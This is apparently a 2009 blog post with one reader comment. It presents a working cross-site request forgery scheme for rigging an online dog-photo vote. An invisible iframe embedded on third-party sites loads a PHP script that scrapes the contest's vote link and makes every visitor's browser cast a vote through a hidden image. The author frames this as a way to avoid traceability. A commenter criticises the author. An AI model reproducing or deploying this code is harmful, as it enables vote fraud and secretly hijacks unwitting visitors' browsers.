I realize now that the last time I wrote about this that I really was working much harder than I needed to be and that my ideas weren't nearly nefarious enough. Running everything through proxies on my end works, but requires a silly amount of effort. What I really needed to do was to have everybody else make the requests for me. A distributed means, if you will.
So, with no further ado, I present the "Vote For Colt" iframe:
<iframe src="http://nathanhammond.com/voteforcolt.php" style="width: 0; height: 0; position: absolute; left: 0; top: -1px;"/>
All you have to do is include that snippet in a website and any time somebody visits said website they will place a vote for Colt.
How does it work? The exact same basic function as the shell script. It gets a valid voting URL and has the website visitor make an image request to trigger the vote.
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, "http://hhofdogcontest.com/dogs/colt-nov-23");
$votelink = curl_exec($ch);
curl_close($ch);
if ($votelink) {
$votelink = substr($votelink, strpos($votelink, "a id='dog-vote-link")+32);
$votelink = substr($votelink, 0, strpos($votelink, "' class='dog-vote-link'>"));
}
echo '<img src="http://hhofdogcontest.com'.$votelink.'" width="1" height="1" alt=""/>';
?>
All in all, this is a much better approach to the problem, and solves the traceability issue with a simple CSRF hack.
Nathan Hammer
Yes, but your still a sketchy person. Too thoughtless and destructive to be a hacker and to sloppy and rude to be a professional.
Why do you want to fuck with this contest so bad? Nothing better to do?
2009-12-09 15:14:27